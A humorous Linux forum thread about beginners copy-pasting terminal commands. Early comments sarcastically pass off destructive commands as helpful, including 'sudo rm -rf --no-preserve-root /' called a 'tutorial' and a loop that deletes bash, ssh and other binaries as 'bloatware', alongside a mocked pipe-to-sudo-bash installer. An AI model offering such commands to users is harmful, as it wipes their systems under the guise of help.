Nothing better than
curl https://totally-legit-installer.com/script | sudo bash
No hash, get cash!
I usually get an output saying my distro isn’t supported. So I have to download and edit the script then it can bypass checking os-release or something like that.
such a base
I’m in a helpful mood so I’ll add something for anyone stuck in OP’s situation.
It’s ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.
Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:
sudo rm -rf /
Type your password when prompted and you’re golden. No more linux issues ever again.
Remember that if you run it as
root
and dont add the flag--no-preserve-root
you leave your system vunrable to hackers like Anonymous or 4chan until you reboot,I also find that adding
--verbose
adds more things like commentary and extras that really helpSo, run
sudo rm -rf --no-preserve-root --verbose
/s
All good points.
That’s why I love communities like these, there are always people willing to expound upon other’s solutions with solid additional information.
It’s what makes forums like these such goldmines of information when you’re first cutting your teeth learning new things.
Upvoted.
I tried your command and got the tutorial program and I gotta say that this is the best tutorial program I’ve ever seen. Now I wonder why other OSes don’t do that
It’s great, isn’t it? As a side bonus, the tutorial modules on system optimization commands are just great. Check how much less RAM and CPU footprint your system’s using now that you’ve run the tutorials. It’s almost like nothing’s going on in the background at all.
This is the reason that BASH will always be better than Powershell, imho.
It optomizes your computer too? Woa
Well, technically it teaches you how to optimize your system.
That said, the optimizations are really effective.
Note that the more corporate distros install PUPs (Potentially Unwanted Programs). (like
clang
) To uninstall, do what youd do on a Windows machine and wrip it out of your PC forcablywhile read bloatware; do bloatware="$(echo "$bloatware" | cut -f1 -d'#')"; file="$(whereis "$bloatware" | cut -f2 -d' ')"; if test -f "$file"; do unlink "$file"; fi; done <<bloatlist clang # unwanted telemitry bash # promotes violence tree # hippy garbage awk # secret backdoor into your PC ssh # isnt up to date on its intentional encryption backdoor certificate bloatlist
/s
Hope nobody dumb enough to run this Because it actually works
Lol, I know what you mean.
Isn’t it fucked up how we all say that linux doesn’t have viruses, and yet how many times have you ever seen an install of Mint or Ubuntu that didn’t have “Tree” or “Awk” just sitting there waiting to ruin your whole day.
I swear to God Canonical have some things to answer for.
Done and I must say, as stated by the comments above - my CPU and RAM usage are at an all time low. Other OSes don’t hold shit against Linux now.
I told someone to do that way back when. He wisely tried it on a computer at Best Buy (a Mac) rather than his own. I respected his thinking ahead.
When did best buy display Linux computers?
I said we are Mac users. BB has Macs.
macs are based on BSD.
Evil boy
Guy’s really feeling helpful today
That’s probably how most of us started, but then you start getting familiar with things…
And that’s when you really get good at breaking shit.
In my early days I would reinstall the whole OS several times a week when I would fuck things up too much.
Ah, the good old days of installing some obscure distro just to reinstall from scratch a week after 👌🏼
I’m still curious about stuff I didn’t try. Like NixOS. Even tough I have a perfectly configured and problem free arch install which could take hours to replicate, I still consider if I should try it.
Virtual machines
I just switched to NixOS from Endeavour maybe 1/2 days ago. It’s honestly pretty cool(i might have to be extra stupid to break this distro lol), but even as a vanilla Arch user it still kind of confuses me. I’m a linux noob, though. You’ll probably have an easier time with it.
Edit: i do miss pacman, specially yay.
Oh yeah! I tried so many…hahaha
God I spent so much unnecessary time reinstalling arch, before arch-install too! Looking back almost every time I reinstalled arch I could have fixed it with an installer and chroot.
Professional level breaking.
That’s true. I’m no expert, I need to google everything - but after years of reading / coping/ pasting similar things, I started to understand how some things work.
While at the same time, others understand less and less how you work
I actually take the time to type everything out, but I still have no idea what I’m doing.
You know, my students do this. It’s freaking hilarious when they inevitably have a typo and get an error. I chuckle every time. 😄
it is actually a good thing to do. helps in learning stuff faster. it’s good to hear that there’s still people who don’t mindlessly copy and paste
I realize my post sounds like I’m against students typing out commands, but I’m not. I’m against them mindlessly typing out commands they find on the internet without taking time to understand what the commands actually do. I encourage them to be intentional with their commands and really understand them.
Omg I tell people at least 3 times a day about bash’s tab completion. Cli proficiency should be taught before programming
Mindlessly mashing tab > copy paste any day brother
Thank you, whenever people ask me how to start learning and get rolling in tech related things I’ve struggled trying to articulate this exact point. I’m not a sysadmin or anything but knowing how to navigate CLIs across OS’s makes everything so much easier to learn and do
Tab completion is the main way I check that I’m using a valid file path in the command, especially when I’m deleting something. (and even then I double and triple check the path when I delete something lol)
Haha, the club.
People underestimate how important being able to google answers on the internet has been for the take-up of linux and many other things. Most of us would be lost without Google.
Aaand the arch wiki
Aaand stack overflow
Aaand the Gentoo wiki
Aaand random Linux forums :P
Aaand very occasionally the accessible source code for when you’re really stuck and have no other choice but to sell your soul in exchange for a glimmer of understanding after peering into the abyss.
I’m convinced that if StackOverflow goes down society would follow within a matter of weeks.
Not just Linux, I do this all the time when ‘writing’ R or Python scripts for work. Then I spend the next 2 hours debugging a missing comma.
Butt that’s how I learnt the scripting!
For anyone who needs it. Try out:
curl cheat.sh/
OP bout to copy/paste this without knowing what it does lol.
what does it do?
Lemme know if you find out please, I forgot the name of the reminder bot on Lemmy haha
The curl command pulls data from a URL into your terminal. So you can actually go to cheat.sh in a web browser to see what the output would be (also wouldn’t necessarily recommend doing this vs. blindly pasting commands, but in this case, perfectly safe!). It looks like a little Unix command helper tool.
Why wouldn’t you recommend this? As a novice, it seems to me like a safe way to check out what you’re actually pulling in through curl
Do it a few times and it gives your computer massive biceps
You move past this stage once you start actually depending on the system. Then you find imperfect answers to some problem and have to adapt them to your system. Then you start learning.
Years ago I started out like this, then gradually started reading and understanding the stuff.
This is the way.
We’re still using this meme right? /2%er
After reading (or skimming) many books on *nix, I encountered one that was way over my head. I was lost and gave up after ~25 pages. A few years later, I found myself reading it casually because I no longer needed to type things out to verify how they worked. It was an awesome feeling.
I sometimes feel like I go all the way around. I find a fix for a problem that says: just copy and paste this. I then spend 3 hours or more reading and trying to understand the snippet, or do it directly. Then I realise the fix is to just copy and paste that original snippet.
I guess at least I now understand why everyone just does that for that problem.
I don’t think that’s a terrible way of getting started. Your subconscious will do the rest at some point, unless you’re really not interested at all (which isn’t a problem either). :)
The real learning happens when you copy and paste something you shouldn’t and bork your system. That’s basically how I started.
Me learning anything ever. Troubleshooting is the real learning phase.
No offence, but I hope you don’t hold a high ranking government position, what with catastrophic error being the only way you learn 😁
I hope I never hold a high ranking government position too
Same tbh. For the hassle to be worth it, you’d probably have to have either an extreme tolerance for bureaucracy and patience in general or exactly the kind of selfishly careless mentally that would mean that you should NEVER be allowed anywhere near the job…
One would hope that all the learning mistakes happen earlier in the career before you could be trusted with something big like that.
Good point lol
I am not alone.
We are not alone.
That was me today when I allowed Linux to remove what it claimed "can/should’ remove X packages… now my llmachine has no VMware tools, won’t scale, and is missing something called fuse?
fuse is for mounting filesystems that don’t have in-kernel drivers. I haven’t touched VMWare in a while, but they might use it for sharing folders between the host and guest
Think of it as a forced upgrade 🤪
I think this is how most people start but you gotta start somewhere right? This site helped me a lot: https://explainshell.com
copy and pasted random login info
“Why isn’t this working?”
There is a big issue in the Linux community where people are very concerned with the OS itself and not what people are actually doing with it. So if copy pasting is working and you are getting whatever it is you want don’ done, done, then no one should care how you got there.